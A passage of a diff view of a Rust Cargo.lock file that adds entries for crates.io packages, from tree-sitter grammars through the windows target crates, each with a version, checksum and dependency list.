| 5403 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5404 | + | checksum = "e9adc2c898ae49730e857d75be403da3f92bb81d8e37a2f918a08dd10de5ebb1" | |
| 5405 | + | dependencies = [ | |
| 5406 | + | "cc", | |
| 5407 | + | "tree-sitter-language", | |
| 5408 | + | ] | |
| 5409 | + | ||
| 5410 | + | [[package]] | |
| 5411 | + | name = "tree-sitter-typescript" | |
| 5412 | + | version = "0.23.2" | |
| 5413 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5414 | + | checksum = "6c5f76ed8d947a75cc446d5fccd8b602ebf0cde64ccf2ffa434d873d7a575eff" | |
| 5415 | + | dependencies = [ | |
| 5416 | + | "cc", | |
| 5417 | + | "tree-sitter-language", | |
| 5418 | + | ] | |
| 5419 | + | ||
| 5420 | + | [[package]] | |
| 5421 | + | name = "tree-sitter-yaml" | |
| 5422 | + | version = "0.7.2" | |
| 5423 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5424 | + | checksum = "53c223db85f05e34794f065454843b0668ebc15d240ada63e2b5939f43ce7c97" | |
| 5425 | + | dependencies = [ | |
| 5426 | + | "cc", | |
| 5427 | + | "tree-sitter-language", | |
| 5428 | + | ] | |
| 5429 | + | ||
| 5430 | + | [[package]] | |
| 5431 | + | name = "tree-sitter-zig" | |
| 5432 | + | version = "1.1.2" | |
| 5433 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5434 | + | checksum = "ab11fc124851b0db4dd5e55983bbd9631192e93238389dcd44521715e5d53e28" | |
| 5435 | + | dependencies = [ | |
| 5436 | + | "cc", | |
| 5437 | + | "tree-sitter-language", | |
| 5438 | + | ] | |
| 5439 | + | ||
| 5440 | + | [[package]] | |
| 5441 | + | name = "try-lock" | |
| 5442 | + | version = "0.2.5" | |
| 5443 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5444 | + | checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" | |
| 5445 | + | ||
| 5446 | + | [[package]] | |
| 5447 | + | name = "typed-arena" | |
| 5448 | + | version = "2.0.2" | |
| 5449 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5450 | + | checksum = "6af6ae20167a9ece4bcb41af5b80f8a1f1df981f6391189ce00fd257af04126a" | |
| 5451 | + | ||
| 5452 | + | [[package]] | |
| 5453 | + | name = "typenum" | |
| 5454 | + | version = "1.20.1" | |
| 5455 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5456 | + | checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" | |
| 5457 | + | ||
| 5458 | + | [[package]] | |
| 5459 | + | name = "uluru" | |
| 5460 | + | version = "3.1.0" | |
| 5461 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5462 | + | checksum = "7c8a2469e56e6e5095c82ccd3afb98dad95f7af7929aab6d8ba8d6e0f73657da" | |
| 5463 | + | dependencies = [ | |
| 5464 | + | "arrayvec", | |
| 5465 | + | ] | |
| 5466 | + | ||
| 5467 | + | [[package]] | |
| 5468 | + | name = "unicode-bidi" | |
| 5469 | + | version = "0.3.18" | |
| 5470 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5471 | + | checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5" | |
| 5472 | + | ||
| 5473 | + | [[package]] | |
| 5474 | + | name = "unicode-bom" | |
| 5475 | + | version = "2.0.3" | |
| 5476 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5477 | + | checksum = "7eec5d1121208364f6793f7d2e222bf75a915c19557537745b195b253dd64217" | |
| 5478 | + | ||
| 5479 | + | [[package]] | |
| 5480 | + | name = "unicode-ident" | |
| 5481 | + | version = "1.0.24" | |
| 5482 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5483 | + | checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" | |
| 5484 | + | ||
| 5485 | + | [[package]] | |
| 5486 | + | name = "unicode-normalization" | |
| 5487 | + | version = "0.1.25" | |
| 5488 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5489 | + | checksum = "5fd4f6878c9cb28d874b009da9e8d183b5abc80117c40bbd187a1fde336be6e8" | |
| 5490 | + | dependencies = [ | |
| 5491 | + | "tinyvec", | |
| 5492 | + | ] | |
| 5493 | + | ||
| 5494 | + | [[package]] | |
| 5495 | + | name = "unicode-properties" | |
| 5496 | + | version = "0.1.4" | |
| 5497 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5498 | + | checksum = "7df058c713841ad818f1dc5d3fd88063241cc61f49f5fbea4b951e8cf5a8d71d" | |
| 5499 | + | ||
| 5500 | + | [[package]] | |
| 5501 | + | name = "unicode_categories" | |
| 5502 | + | version = "0.1.1" | |
| 5503 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5504 | + | checksum = "39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e" | |
| 5505 | + | ||
| 5506 | + | [[package]] | |
| 5507 | + | name = "universal-hash" | |
| 5508 | + | version = "0.5.1" | |
| 5509 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5510 | + | checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" | |
| 5511 | + | dependencies = [ | |
| 5512 | + | "crypto-common", | |
| 5513 | + | "subtle", | |
| 5514 | + | ] | |
| 5515 | + | ||
| 5516 | + | [[package]] | |
| 5517 | + | name = "untrusted" | |
| 5518 | + | version = "0.9.0" | |
| 5519 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5520 | + | checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" | |
| 5521 | + | ||
| 5522 | + | [[package]] | |
| 5523 | + | name = "url" | |
| 5524 | + | version = "2.5.8" | |
| 5525 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5526 | + | checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" | |
| 5527 | + | dependencies = [ | |
| 5528 | + | "form_urlencoded", | |
| 5529 | + | "idna", | |
| 5530 | + | "percent-encoding", | |
| 5531 | + | "serde", | |
| 5532 | + | "serde_derive", | |
| 5533 | + | ] | |
| 5534 | + | ||
| 5535 | + | [[package]] | |
| 5536 | + | name = "utf8_iter" | |
| 5537 | + | version = "1.0.4" | |
| 5538 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5539 | + | checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" | |
| 5540 | + | ||
| 5541 | + | [[package]] | |
| 5542 | + | name = "utf8parse" | |
| 5543 | + | version = "0.2.2" | |
| 5544 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5545 | + | checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" | |
| 5546 | + | ||
| 5547 | + | [[package]] | |
| 5548 | + | name = "uuid" | |
| 5549 | + | version = "1.24.0" | |
| 5550 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5551 | + | checksum = "bf3923a6f5c4c6382e0b653c4117f48d631ea17f38ed86e2a828e6f7412f5239" | |
| 5552 | + | dependencies = [ | |
| 5553 | + | "getrandom 0.4.3", | |
| 5554 | + | "js-sys", | |
| 5555 | + | "serde_core", | |
| 5556 | + | "wasm-bindgen", | |
| 5557 | + | ] | |
| 5558 | + | ||
| 5559 | + | [[package]] | |
| 5560 | + | name = "valuable" | |
| 5561 | + | version = "0.1.1" | |
| 5562 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5563 | + | checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" | |
| 5564 | + | ||
| 5565 | + | [[package]] | |
| 5566 | + | name = "vcpkg" | |
| 5567 | + | version = "0.2.15" | |
| 5568 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5569 | + | checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" | |
| 5570 | + | ||
| 5571 | + | [[package]] | |
| 5572 | + | name = "version_check" | |
| 5573 | + | version = "0.9.5" | |
| 5574 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5575 | + | checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" | |
| 5576 | + | ||
| 5577 | + | [[package]] | |
| 5578 | + | name = "walkdir" | |
| 5579 | + | version = "2.5.0" | |
| 5580 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5581 | + | checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" | |
| 5582 | + | dependencies = [ | |
| 5583 | + | "same-file", | |
| 5584 | + | "winapi-util", | |
| 5585 | + | ] | |
| 5586 | + | ||
| 5587 | + | [[package]] | |
| 5588 | + | name = "want" | |
| 5589 | + | version = "0.3.1" | |
| 5590 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5591 | + | checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" | |
| 5592 | + | dependencies = [ | |
| 5593 | + | "try-lock", | |
| 5594 | + | ] | |
| 5595 | + | ||
| 5596 | + | [[package]] | |
| 5597 | + | name = "wasi" | |
| 5598 | + | version = "0.11.1+wasi-snapshot-preview1" | |
| 5599 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5600 | + | checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" | |
| 5601 | + | ||
| 5602 | + | [[package]] | |
| 5603 | + | name = "wasite" | |
| 5604 | + | version = "0.1.0" | |
| 5605 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5606 | + | checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b" | |
| 5607 | + | ||
| 5608 | + | [[package]] | |
| 5609 | + | name = "wasm-bindgen" | |
| 5610 | + | version = "0.2.126" | |
| 5611 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5612 | + | checksum = "4b067c0c11094aef6b7a801c1e34a26affafdf3d051dba08456b868789aaf9a4" | |
| 5613 | + | dependencies = [ | |
| 5614 | + | "cfg-if", | |
| 5615 | + | "once_cell", | |
| 5616 | + | "rustversion", | |
| 5617 | + | "wasm-bindgen-macro", | |
| 5618 | + | "wasm-bindgen-shared", | |
| 5619 | + | ] | |
| 5620 | + | ||
| 5621 | + | [[package]] | |
| 5622 | + | name = "wasm-bindgen-futures" | |
| 5623 | + | version = "0.4.76" | |
| 5624 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5625 | + | checksum = "c62df1340f32221cb9c54d6a27b030e3dba64361d4a95bed55f9aacb44da291d" | |
| 5626 | + | dependencies = [ | |
| 5627 | + | "js-sys", | |
| 5628 | + | "wasm-bindgen", | |
| 5629 | + | ] | |
| 5630 | + | ||
| 5631 | + | [[package]] | |
| 5632 | + | name = "wasm-bindgen-macro" | |
| 5633 | + | version = "0.2.126" | |
| 5634 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5635 | + | checksum = "167ce5e579f6bcf889c4f7175a8a5a585de84e8ff93976ce393efa5f2837aab1" | |
| 5636 | + | dependencies = [ | |
| 5637 | + | "quote", | |
| 5638 | + | "wasm-bindgen-macro-support", | |
| 5639 | + | ] | |
| 5640 | + | ||
| 5641 | + | [[package]] | |
| 5642 | + | name = "wasm-bindgen-macro-support" | |
| 5643 | + | version = "0.2.126" | |
| 5644 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5645 | + | checksum = "f3997c7839262f4ef12cf90b818d6340c18e80f263f1a94bf157d0ec4420380e" | |
| 5646 | + | dependencies = [ | |
| 5647 | + | "bumpalo", | |
| 5648 | + | "proc-macro2", | |
| 5649 | + | "quote", | |
| 5650 | + | "syn 2.0.119", | |
| 5651 | + | "wasm-bindgen-shared", | |
| 5652 | + | ] | |
| 5653 | + | ||
| 5654 | + | [[package]] | |
| 5655 | + | name = "wasm-bindgen-shared" | |
| 5656 | + | version = "0.2.126" | |
| 5657 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5658 | + | checksum = "dc1b4cb0cc549fcf58d7dfc081778139b3d283a081644e833e84682ad71cea24" | |
| 5659 | + | dependencies = [ | |
| 5660 | + | "unicode-ident", | |
| 5661 | + | ] | |
| 5662 | + | ||
| 5663 | + | [[package]] | |
| 5664 | + | name = "web-sys" | |
| 5665 | + | version = "0.3.103" | |
| 5666 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5667 | + | checksum = "8622dcb61c0bcc9fffa6938bed81210af2da9a7e4a1a834b2e37a59b6dfb6141" | |
| 5668 | + | dependencies = [ | |
| 5669 | + | "js-sys", | |
| 5670 | + | "wasm-bindgen", | |
| 5671 | + | ] | |
| 5672 | + | ||
| 5673 | + | [[package]] | |
| 5674 | + | name = "web-time" | |
| 5675 | + | version = "1.1.0" | |
| 5676 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5677 | + | checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" | |
| 5678 | + | dependencies = [ | |
| 5679 | + | "js-sys", | |
| 5680 | + | "wasm-bindgen", | |
| 5681 | + | ] | |
| 5682 | + | ||
| 5683 | + | [[package]] | |
| 5684 | + | name = "web_atoms" | |
| 5685 | + | version = "0.2.5" | |
| 5686 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5687 | + | checksum = "075474b12bcb3d2e3d4546580e9de478eeeead668a1761e2a8860c836b7ef297" | |
| 5688 | + | dependencies = [ | |
| 5689 | + | "phf", | |
| 5690 | + | "phf_codegen", | |
| 5691 | + | "string_cache", | |
| 5692 | + | "string_cache_codegen", | |
| 5693 | + | ] | |
| 5694 | + | ||
| 5695 | + | [[package]] | |
| 5696 | + | name = "webpki-roots" | |
| 5697 | + | version = "0.26.11" | |
| 5698 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5699 | + | checksum = "521bc38abb08001b01866da9f51eb7c5d647a19260e00054a8c7fd5f9e57f7a9" | |
| 5700 | + | dependencies = [ | |
| 5701 | + | "webpki-roots 1.0.9", | |
| 5702 | + | ] | |
| 5703 | + | ||
| 5704 | + | [[package]] | |
| 5705 | + | name = "webpki-roots" | |
| 5706 | + | version = "1.0.9" | |
| 5707 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5708 | + | checksum = "7dcd9d09a39985f5344844e66b0c530a33843579125f23e21e9f0f220850f22a" | |
| 5709 | + | dependencies = [ | |
| 5710 | + | "rustls-pki-types", | |
| 5711 | + | ] | |
| 5712 | + | ||
| 5713 | + | [[package]] | |
| 5714 | + | name = "whoami" | |
| 5715 | + | version = "1.6.1" | |
| 5716 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5717 | + | checksum = "5d4a4db5077702ca3015d3d02d74974948aba2ad9e12ab7df718ee64ccd7e97d" | |
| 5718 | + | dependencies = [ | |
| 5719 | + | "libredox", | |
| 5720 | + | "wasite", | |
| 5721 | + | ] | |
| 5722 | + | ||
| 5723 | + | [[package]] | |
| 5724 | + | name = "winapi" | |
| 5725 | + | version = "0.3.9" | |
| 5726 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5727 | + | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" | |
| 5728 | + | dependencies = [ | |
| 5729 | + | "winapi-i686-pc-windows-gnu", | |
| 5730 | + | "winapi-x86_64-pc-windows-gnu", | |
| 5731 | + | ] | |
| 5732 | + | ||
| 5733 | + | [[package]] | |
| 5734 | + | name = "winapi-i686-pc-windows-gnu" | |
| 5735 | + | version = "0.4.0" | |
| 5736 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5737 | + | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" | |
| 5738 | + | ||
| 5739 | + | [[package]] | |
| 5740 | + | name = "winapi-util" | |
| 5741 | + | version = "0.1.11" | |
| 5742 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5743 | + | checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" | |
| 5744 | + | dependencies = [ | |
| 5745 | + | "windows-sys 0.61.2", | |
| 5746 | + | ] | |
| 5747 | + | ||
| 5748 | + | [[package]] | |
| 5749 | + | name = "winapi-x86_64-pc-windows-gnu" | |
| 5750 | + | version = "0.4.0" | |
| 5751 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5752 | + | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" | |
| 5753 | + | ||
| 5754 | + | [[package]] | |
| 5755 | + | name = "windows" | |
| 5756 | + | version = "0.58.0" | |
| 5757 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5758 | + | checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" | |
| 5759 | + | dependencies = [ | |
| 5760 | + | "windows-core 0.58.0", | |
| 5761 | + | "windows-targets 0.52.6", | |
| 5762 | + | ] | |
| 5763 | + | ||
| 5764 | + | [[package]] | |
| 5765 | + | name = "windows-core" | |
| 5766 | + | version = "0.58.0" | |
| 5767 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5768 | + | checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" | |
| 5769 | + | dependencies = [ | |
| 5770 | + | "windows-implement 0.58.0", | |
| 5771 | + | "windows-interface 0.58.0", | |
| 5772 | + | "windows-result 0.2.0", | |
| 5773 | + | "windows-strings 0.1.0", | |
| 5774 | + | "windows-targets 0.52.6", | |
| 5775 | + | ] | |
| 5776 | + | ||
| 5777 | + | [[package]] | |
| 5778 | + | name = "windows-core" | |
| 5779 | + | version = "0.62.2" | |
| 5780 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5781 | + | checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" | |
| 5782 | + | dependencies = [ | |
| 5783 | + | "windows-implement 0.60.2", | |
| 5784 | + | "windows-interface 0.59.3", | |
| 5785 | + | "windows-link", | |
| 5786 | + | "windows-result 0.4.1", | |
| 5787 | + | "windows-strings 0.5.1", | |
| 5788 | + | ] | |
| 5789 | + | ||
| 5790 | + | [[package]] | |
| 5791 | + | name = "windows-implement" | |
| 5792 | + | version = "0.58.0" | |
| 5793 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5794 | + | checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" | |
| 5795 | + | dependencies = [ | |
| 5796 | + | "proc-macro2", | |
| 5797 | + | "quote", | |
| 5798 | + | "syn 2.0.119", | |
| 5799 | + | ] | |
| 5800 | + | ||
| 5801 | + | [[package]] | |
| 5802 | + | name = "windows-implement" | |
| 5803 | + | version = "0.60.2" | |
| 5804 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5805 | + | checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" | |
| 5806 | + | dependencies = [ | |
| 5807 | + | "proc-macro2", | |
| 5808 | + | "quote", | |
| 5809 | + | "syn 2.0.119", | |
| 5810 | + | ] | |
| 5811 | + | ||
| 5812 | + | [[package]] | |
| 5813 | + | name = "windows-interface" | |
| 5814 | + | version = "0.58.0" | |
| 5815 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5816 | + | checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" | |
| 5817 | + | dependencies = [ | |
| 5818 | + | "proc-macro2", | |
| 5819 | + | "quote", | |
| 5820 | + | "syn 2.0.119", | |
| 5821 | + | ] | |
| 5822 | + | ||
| 5823 | + | [[package]] | |
| 5824 | + | name = "windows-interface" | |
| 5825 | + | version = "0.59.3" | |
| 5826 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5827 | + | checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" | |
| 5828 | + | dependencies = [ | |
| 5829 | + | "proc-macro2", | |
| 5830 | + | "quote", | |
| 5831 | + | "syn 2.0.119", | |
| 5832 | + | ] | |
| 5833 | + | ||
| 5834 | + | [[package]] | |
| 5835 | + | name = "windows-link" | |
| 5836 | + | version = "0.2.1" | |
| 5837 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5838 | + | checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" | |
| 5839 | + | ||
| 5840 | + | [[package]] | |
| 5841 | + | name = "windows-result" | |
| 5842 | + | version = "0.2.0" | |
| 5843 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5844 | + | checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" | |
| 5845 | + | dependencies = [ | |
| 5846 | + | "windows-targets 0.52.6", | |
| 5847 | + | ] | |
| 5848 | + | ||
| 5849 | + | [[package]] | |
| 5850 | + | name = "windows-result" | |
| 5851 | + | version = "0.4.1" | |
| 5852 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5853 | + | checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" | |
| 5854 | + | dependencies = [ | |
| 5855 | + | "windows-link", | |
| 5856 | + | ] | |
| 5857 | + | ||
| 5858 | + | [[package]] | |
| 5859 | + | name = "windows-strings" | |
| 5860 | + | version = "0.1.0" | |
| 5861 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5862 | + | checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" | |
| 5863 | + | dependencies = [ | |
| 5864 | + | "windows-result 0.2.0", | |
| 5865 | + | "windows-targets 0.52.6", | |
| 5866 | + | ] | |
| 5867 | + | ||
| 5868 | + | [[package]] | |
| 5869 | + | name = "windows-strings" | |
| 5870 | + | version = "0.5.1" | |
| 5871 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5872 | + | checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" | |
| 5873 | + | dependencies = [ | |
| 5874 | + | "windows-link", | |
| 5875 | + | ] | |
| 5876 | + | ||
| 5877 | + | [[package]] | |
| 5878 | + | name = "windows-sys" | |
| 5879 | + | version = "0.48.0" | |
| 5880 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5881 | + | checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" | |
| 5882 | + | dependencies = [ | |
| 5883 | + | "windows-targets 0.48.5", | |
| 5884 | + | ] | |
| 5885 | + | ||
| 5886 | + | [[package]] | |
| 5887 | + | name = "windows-sys" | |
| 5888 | + | version = "0.52.0" | |
| 5889 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5890 | + | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" | |
| 5891 | + | dependencies = [ | |
| 5892 | + | "windows-targets 0.52.6", | |
| 5893 | + | ] | |
| 5894 | + | ||
| 5895 | + | [[package]] | |
| 5896 | + | name = "windows-sys" | |
| 5897 | + | version = "0.61.2" | |
| 5898 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5899 | + | checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" | |
| 5900 | + | dependencies = [ | |
| 5901 | + | "windows-link", | |
| 5902 | + | ] | |
| 5903 | + | ||
| 5904 | + | [[package]] | |
| 5905 | + | name = "windows-targets" | |
| 5906 | + | version = "0.48.5" | |
| 5907 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5908 | + | checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" | |
| 5909 | + | dependencies = [ | |
| 5910 | + | "windows_aarch64_gnullvm 0.48.5", | |
| 5911 | + | "windows_aarch64_msvc 0.48.5", | |
| 5912 | + | "windows_i686_gnu 0.48.5", | |
| 5913 | + | "windows_i686_msvc 0.48.5", | |
| 5914 | + | "windows_x86_64_gnu 0.48.5", | |
| 5915 | + | "windows_x86_64_gnullvm 0.48.5", | |
| 5916 | + | "windows_x86_64_msvc 0.48.5", | |
| 5917 | + | ] | |
| 5918 | + | ||
| 5919 | + | [[package]] | |
| 5920 | + | name = "windows-targets" | |
| 5921 | + | version = "0.52.6" | |
| 5922 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5923 | + | checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" | |
| 5924 | + | dependencies = [ | |
| 5925 | + | "windows_aarch64_gnullvm 0.52.6", | |
| 5926 | + | "windows_aarch64_msvc 0.52.6", | |
| 5927 | + | "windows_i686_gnu 0.52.6", | |
| 5928 | + | "windows_i686_gnullvm", | |
| 5929 | + | "windows_i686_msvc 0.52.6", | |
| 5930 | + | "windows_x86_64_gnu 0.52.6", | |
| 5931 | + | "windows_x86_64_gnullvm 0.52.6", | |
| 5932 | + | "windows_x86_64_msvc 0.52.6", | |
| 5933 | + | ] | |
| 5934 | + | ||
| 5935 | + | [[package]] | |
| 5936 | + | name = "windows_aarch64_gnullvm" | |
| 5937 | + | version = "0.48.5" | |
| 5938 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5939 | + | checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" | |
| 5940 | + | ||
| 5941 | + | [[package]] | |
| 5942 | + | name = "windows_aarch64_gnullvm" | |
| 5943 | + | version = "0.52.6" | |
| 5944 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5945 | + | checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" | |
| 5946 | + | ||
| 5947 | + | [[package]] | |
| 5948 | + | name = "windows_aarch64_msvc" | |
| 5949 | + | version = "0.48.5" | |
| 5950 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5951 | + | checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" | |
| 5952 | + | ||
| 5953 | + | [[package]] | |
| 5954 | + | name = "windows_aarch64_msvc" | |
| 5955 | + | version = "0.52.6" | |
| 5956 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5957 | + | checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" | |
| 5958 | + | ||
| 5959 | + | [[package]] | |
| 5960 | + | name = "windows_i686_gnu" | |
| 5961 | + | version = "0.48.5" | |
| 5962 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5963 | + | checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" | |
| 5964 | + | ||
| 5965 | + | [[package]] | |
| 5966 | + | name = "windows_i686_gnu" | |
| 5967 | + | version = "0.52.6" | |
| 5968 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5969 | + | checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" | |
| 5970 | + | ||
| 5971 | + | [[package]] | |
| 5972 | + | name = "windows_i686_gnullvm" | |
| 5973 | + | version = "0.52.6" | |
| 5974 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5975 | + | checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" | |
| 5976 | + | ||
| 5977 | + | [[package]] | |
| 5978 | + | name = "windows_i686_msvc" | |
| 5979 | + | version = "0.48.5" | |
| 5980 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5981 | + | checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" | |
| 5982 | + | ||
| 5983 | + | [[package]] | |
| 5984 | + | name = "windows_i686_msvc" | |
| 5985 | + | version = "0.52.6" | |
| 5986 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5987 | + | checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" | |
| 5988 | + | ||
| 5989 | + | [[package]] | |
| 5990 | + | name = "windows_x86_64_gnu" | |
| 5991 | + | version = "0.48.5" | |
| 5992 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5993 | + | checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" | |
| 5994 | + | ||
| 5995 | + | [[package]] | |
| 5996 | + | name = "windows_x86_64_gnu" | |
| 5997 | + | version = "0.52.6" | |
| 5998 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5999 | + | checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" | |
| 6000 | + | ||
| 6001 | + | [[package]] | |
| 6002 | + | name = "windows_x86_64_gnullvm" | |
| 6003 | + | version = "0.48.5" | |
| 6004 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6005 | + | checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" | |
| 6006 | + | ||
| 6007 | + | [[package]] | |
| 6008 | + | name = "windows_x86_64_gnullvm" | |
